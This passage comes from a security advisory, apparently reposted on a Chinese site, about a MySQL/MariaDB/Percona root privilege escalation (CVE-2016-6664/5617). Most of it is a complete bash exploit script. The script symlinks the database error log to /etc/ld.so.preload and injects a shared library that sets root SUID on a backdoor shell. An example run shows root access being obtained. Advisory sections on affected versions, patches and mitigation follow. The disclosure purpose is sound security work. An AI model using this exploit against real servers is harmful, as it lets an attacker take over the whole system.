PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}

function ctrl_c() {
echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}

#intro
echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / CVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

uid_t geteuid(void) {
static uid_t  (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi

# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo -n "Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
echo -e "Got it. Executing 'killall mysqld' now..."
killall mysqld
fi
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done

# /etc/	dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

#while :; do
#	sleep 0.1
#	ps aux | grep mysqld | grep -q 'log-error'
#	if [ $? -eq 0 ]; then
#		break;
#	fi
#done

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

------------EOF------------------

Example run
~~~~~~~~~~~~~~~~

mysql_suid_shell.MYD-4.3$ whoami
mysql

omysql_suid_shell.MYD-4.3$ dpkg -l | grep percona-server-server
iU  percona-server-server              5.6.32-78.0-1.xenial              amd64        Percona Server database server
iF  percona-server-server-5.6          5.6.32-78.0-1.xenial              amd64        Percona Server database server binaries

mysql_suid_shell.MYD-4.3$ ./mysql-chowned.sh /var/lib/mysql/xenial-percona.err

MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
mysql-chowned.sh (ver. 1.0)

CVE-2016-6664 / CVE-2016-5617

Discovered and coded by:

Dawid Golunski http://legalhackers.com 
[+] Starting the exploit as
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)

[+] Target MySQL log file set to /var/lib/mysql/xenial-percona.err

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql attacker 1037528 Nov  1 05:08 /tmp/mysqlrootsh

[+] Symlink created at:
lrwxrwxrwx 1 mysql attacker 18 Nov  1 05:08 /var/lib/mysql/xenial-percona.err -> /etc/ld.so.preload

[+] Waiting for MySQL to re-open the logs/MySQL service restart...
Do you want to kill mysqld process to instantly get root? :) ? [y/n] y
Got it. Executing 'killall mysqld' now...

[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-r----- 1 mysql root 19 Nov  1 05:08 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 1037528 Nov  1 05:08 /tmp/mysqlrootsh

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1037528 Nov  1 05:08 /tmp/mysqlrootsh

Got root! The database server has been ch-OWNED !

[+] Spawning the rootshell /tmp/mysqlrootsh now!

mysqlrootsh-4.3# whoami
root

mysqlrootsh-4.3# exit
exit

[+] Cleaning up...

[+] Job done. Exiting with code 0

Video PoC:
~~~~~~~~~~~~~
 http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html 
VI. BUSINESS IMPACT
-------------------------

Although the severity of this issue is lower on its own (attackers need to
gain access to mysql system user), the vulnerability could easily be combined
with the CVE-2016-6663 issue.
The combination of the two would effectively allow low privileged local
database users to escalate their system privileges to root system account and
allow them to fully compromise the server which increases the severity of this
issue.

VII. SYSTEMS AFFECTED
-------------------------

MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14

MariaDB
All current

Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8

Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0

VIII. SOLUTION
-------------------------

The root privilege escalation vulnerability described in this advisory was
reported to Oracle in July 2016 (together with previously reported critical
issue of CVE-2016-6662).

All of the vendors - MariaDB/MySQL/PerconaDB have received a copy of this
advisory in advance which allowed them to produce patches for this
vulnerability before the release of this advisory.

When checking if your system contains the patches, note that this vulnerability
has been known under two CVE IDs:

CVE-2016-6664
CVE-2016-5617 (Oracle)

CVE-2016-6664 is the original CVE that was agreed to be used by all the
affected vendors for this vulnerability.
The issue was however mentioned in Oracle CPU mistakenly under a new CVE of
CVE-2016-5617, resulting in a duplicate. Oracle has informed that CPU will be
updated to state that CVE-2016-5617 is equivalent to CVE-2016-6664.

Patches and security releases have been issued by the vendors and can
be found on the official vendor websites (see references below which contain
links to advisories issued by each vendor).
MariaDB has postponed patching for the next release.

IX. REFERENCES
-------------------------
 http://legalhackers.com 
This advisory: http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html 
Exploit source code: http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh 
Related mysql vulnerabilities discovered by the author of this advisory that can be chained with
the CVE-2016-6664 vulnerability:

CVE-2016-6663: http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html CVE-2016-6662: http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 
Video PoC: http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html 
CVE MITRE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6664 
Vendors:

Oracle CPU: http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html#AppendixMSQL 
MariaDB: https://mariadb.com/blog/update-security-vulnerabilities-cve-2016-6663-and-cve-2016-6664-related-mariadb-server 
Percona: https://www.percona.com/blog/2016/11/02/percona-responds-to-cve-2016-6663-and-cve-2016-6664/ 
Debian security: https://security-tracker.debian.org/tracker/CVE-2016-6664 
X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
 http://legalhackers.com 
XI. REVISION HISTORY
-------------------------

01.11.2016 - Advisory released
03.11.2016 - Advisory updated with links to advisories provided by the vendors
03.11.2016 - OCVE prefix changed to (Oracle) CVE in the header

XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information. <-- BACK TO legalhackers.com


修复方案:
MySQL已经修复了这两个漏洞,并且在上个月的季度更新中发布了补丁,如果无法立即安装补丁,也可以采用临时的解决方案(关闭数据库服务器配置中的符号链接支持-在my.cnf中设置symbolic-links = 0)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  MySQL 漏洞播报